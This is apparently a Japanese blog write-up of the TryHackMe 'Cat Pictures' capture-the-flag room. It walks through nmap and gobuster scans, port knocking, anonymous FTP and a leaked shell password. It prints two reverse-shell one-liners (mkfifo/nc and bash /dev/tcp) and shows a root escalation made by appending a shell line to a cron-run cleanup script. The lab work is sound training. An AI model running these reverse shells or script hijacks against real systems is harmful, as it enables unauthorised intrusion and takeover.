0
0

[TryHackMe] Cat Pictures #Writeup

Posted at

はじめに

備忘録です。

Flag 1

まずはnmap

$ nmap 10.10.182.132

Starting Nmap 7.60 ( https://nmap.org ) at 2024-08-03 01:53 BST
Nmap scan report for ip-10-10-182-132.eu-west-1.compute.internal (10.10.182.132)
Host is up (0.0097s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   open     ssh
8080/tcp filtered http-proxy
MAC Address: 02:28:D3:15:81:D7 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds

8080ポートでhttp-proxyが動いているので見てみる。
phpBBで作成された掲示板が動いていた。

gobusterでディレクトリを列挙する。

$ gobuster dir -u http://10.10.182.132:8080 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.182.132:8080
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/08/03 01:59:38 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/adm (Status: 301)
/assets (Status: 301)
/bin (Status: 301)
/cache (Status: 403)
/config (Status: 403)
/docs (Status: 301)
/download (Status: 301)
/ext (Status: 301)
/files (Status: 403)
/feed (Status: 200)
/images (Status: 301)
/includes (Status: 403)
/index.php (Status: 200)
/language (Status: 301)
/licenses (Status: 301)
/phpbb (Status: 301)
/store (Status: 403)
/styles (Status: 301)
/vendor (Status: 301)
/web.config (Status: 200)
===============================================================
2024/08/03 02:03:39 Finished
===============================================================

思った以上にあってみる気が失せてきた。
phpBBのPoCを使ってみようと思いバージョンについて調べた。

githubからCHANGELOG.htmlにアップデートについての情報が載っていることが分かったのでアクセスしてみると、3.3.2が現在のバージョンであることが分かった。

データベースで調べると、phpBB 3.3.2に使用できるexploitはなさそうだった。
残念。。

列挙したディレクトリを見ているとヒントらしい情報があった。

Knock knock! Magic numbers: 1111, 2222, 3333, 4444

ここでかなり詰まって調べると、ポートノッキングをするらしい。

$ sudo apt install knock
$ knock 10.10.182.132 1111 2222 3333 4444 -v
hitting tcp 10.10.182.132:1111
hitting tcp 10.10.182.132:2222
hitting tcp 10.10.182.132:3333
hitting tcp 10.10.182.132:4444
$ nmap 10.10.182.132

Starting Nmap 7.60 ( https://nmap.org ) at 2024-08-03 02:49 BST
Nmap scan report for ip-10-10-182-132.eu-west-1.compute.internal (10.10.182.132)
Host is up (0.00037s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 02:28:D3:15:81:D7 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds

ftpの21ポートと8080ポートがfilteredからopenに変わった。

ftp接続してみる。

$ ftp 10.10.182.132
Connected to 10.10.182.132.
220 (vsFTPd 3.0.3)
Name (10.10.182.132:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           162 Apr 02  2021 note.txt
226 Directory send OK.
ftp> mget note.txt
mget note.txt? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (162 bytes).
226 Transfer complete.
162 bytes received in 0.00 secs (68.6646 kB/s)
ftp> exit
221 Goodbye.

anonymousでログインするとnote.txtがあった。

$ cat note.txt
In case I forget my password, I'm leaving a pointer to the internal shell service on the server.

Connect to port 4420, the password is sardinethecat.
- catlover

4420番ポートに接続してパスワードをつかってみる。

$ nmap 10.10.182.132 -p 4420

Starting Nmap 7.60 ( https://nmap.org ) at 2024-08-03 02:55 BST
Nmap scan report for ip-10-10-182-132.eu-west-1.compute.internal (10.10.182.132)
Host is up (0.00018s latency).

PORT     STATE SERVICE
4420/tcp open  nvm-express
MAC Address: 02:28:D3:15:81:D7 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

netcatを使用して4420ポートに接続する。

$ nc 10.10.182.132 4420
INTERNAL SHELL SERVICE
please note: cd commands do not work at the moment, the developers are fixing it at the moment.
do not use ctrl-c
Please enter password:
sardinethecat
Password accepted

homeディレクトリを見に行くとrunmeがあった。
runmeを実行してみる。

$ ./runme
Please enter yout password:

パスワードを要求された。
runmeの中を解析しようとしたが、権限が低いためできない。
権限昇格のためにリバースシェルを取得する。

ローカル側でnetcatを実行。

$ sudo nc -lvnp 1234

リバースシェルのためのコマンドを実行。

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.203 1234 >/tmp/f

少し待つ

sudo nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.182.132 39594 received!
/bin/sh: 0: can't access tty; job control turned off
# 

root権限をゲットした。
runmeの中を覗いてみると以下のような記述があった。

rebeccaPlease enter yout password: Welcome, catlover! SSH key transfer queued! touch /tmp/gibmethesshkeyAccess Denied

rebeccaがパスワードかも。

$ ./runme
Please enter yout password: rebecca
Welcome, catlover! SSH key transfer queued! 
# ls
id_rsa
runme

id_rsaが生成された。
これをローカル側にコピペして保存。

取得したIDとパスワードでssh接続を試みる。
※chmodで作成したファイルの権限変更を忘れない。

$ chmod 600 id_rsa
$ ssh catlover@10.10.182.132 -i id_rsa
The authenticity of host '10.10.182.132 (10.10.182.132)' can't be established.
ECDSA key fingerprint is SHA256:7HBac/JH7EKQik9kL1l9GMjCgLN/69gfXalu5cbPi4U.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.182.132' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Aug  2 19:28:02 PDT 2024

  System load:                    0.0
  Usage of /:                     37.3% of 19.56GB
  Memory usage:                   35%
  Swap usage:                     0%
  Processes:                      110
  Users logged in:                0
  IP address for eth0:            10.10.182.132
  IP address for br-98674f8f20f9: 172.18.0.1
  IP address for docker0:         172.17.0.1


52 updates can be applied immediately.
25 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Fri Jun  4 14:40:35 2021
root@7546fa2336d6:/# 

きちゃー
rootディレクトリ内にflag.txtがあった。

Root Flag

全然手がかりがつかめず、調べたところ、/opt/clean/clean.shを使用して権限昇格できるようだ。

$ cat /opt/clean/clean.sh
#!/bin/bash

rm -rf /tmp/*

リバースシェルで権限昇格を狙う。
ローカルでnetcatを実行。

$ nc -lvnp 5555

clean.shにリバースシェル用のコマンドを追記する。

$ echo "bash -i >& /dev/tcp/10.10.0.203/5555 0>&1" >> /opt/clean/clean.sh

clean.shが実行されるのを待っていると

$ nc -lvnp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from 10.10.182.132 43754 received!
bash: cannot set terminal process group (2786): Inappropriate ioctl for device
bash: no job control in this shell
root@cat-pictures:~# ls
ls
firewall
root.txt
root@cat-pictures:~# cat root.txt
cat root.txt
Congrats!!!
Here is your flag:

フラグゲット!!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0